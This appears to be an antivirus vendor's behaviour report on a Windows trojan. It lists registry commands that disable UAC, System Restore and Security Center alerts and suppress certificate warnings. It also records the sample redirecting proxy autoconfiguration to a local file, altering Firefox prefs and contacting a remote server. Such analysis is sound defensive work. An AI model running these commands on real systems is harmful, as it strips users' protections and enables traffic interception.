Technical Information
Malicious functions:
To complicate detection of its presence in the operating system,
blocks the following features:
- System Restore (SR)
- User Account Control (UAC)
- Windows Security Center
Executes the following:
- '<SYSTEM32>\attrib.exe' -r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js "
- '<SYSTEM32>\find.exe' "prefs.js"
- '<SYSTEM32>\reg.exe' export HKU %TEMP%\~r.tmp
- '<SYSTEM32>\attrib.exe' +r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js "
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
- '<SYSTEM32>\attrib.exe' +r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
- '<SYSTEM32>\attrib.exe' -r -a -s -h "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
- '<SYSTEM32>\find.exe' "S-1-5-21"
- '<SYSTEM32>\find.exe' "Internet Explorer\Main"
- '<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
- '<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v DisableSR /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Security Center" /v UpdatesDisableNotify /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://%TEMP%\CRNJEUFU.txt" /f
- '<SYSTEM32>\fsutil.exe' file createnew "%TEMP%\ok.db" 666"
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\1358386094953.cmd" "
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://%TEMP%\CRNJEUFU.txt" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
Modifies settings of Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
Modifies file system :
Creates the following files:
- %TEMP%\~r.tmp
- %TEMP%\~i.tmp
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\%USERNAME%-CRNJEUFU[1]
- %TEMP%\1.tmp\1358386094953.cmd
- %TEMP%\CRNJEUFU.txt
Deletes the following files:
- %TEMP%\1.tmp\1358386094953.cmd
Network activity:
Connects to:
- '46.##.76.234':80
- 'localhost':1035
TCP:
HTTP GET requests:
- 46.##.76.234/silver/URNXYMAV-CRNJEUFU
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
Modifies value of AutoConfigURL parameter
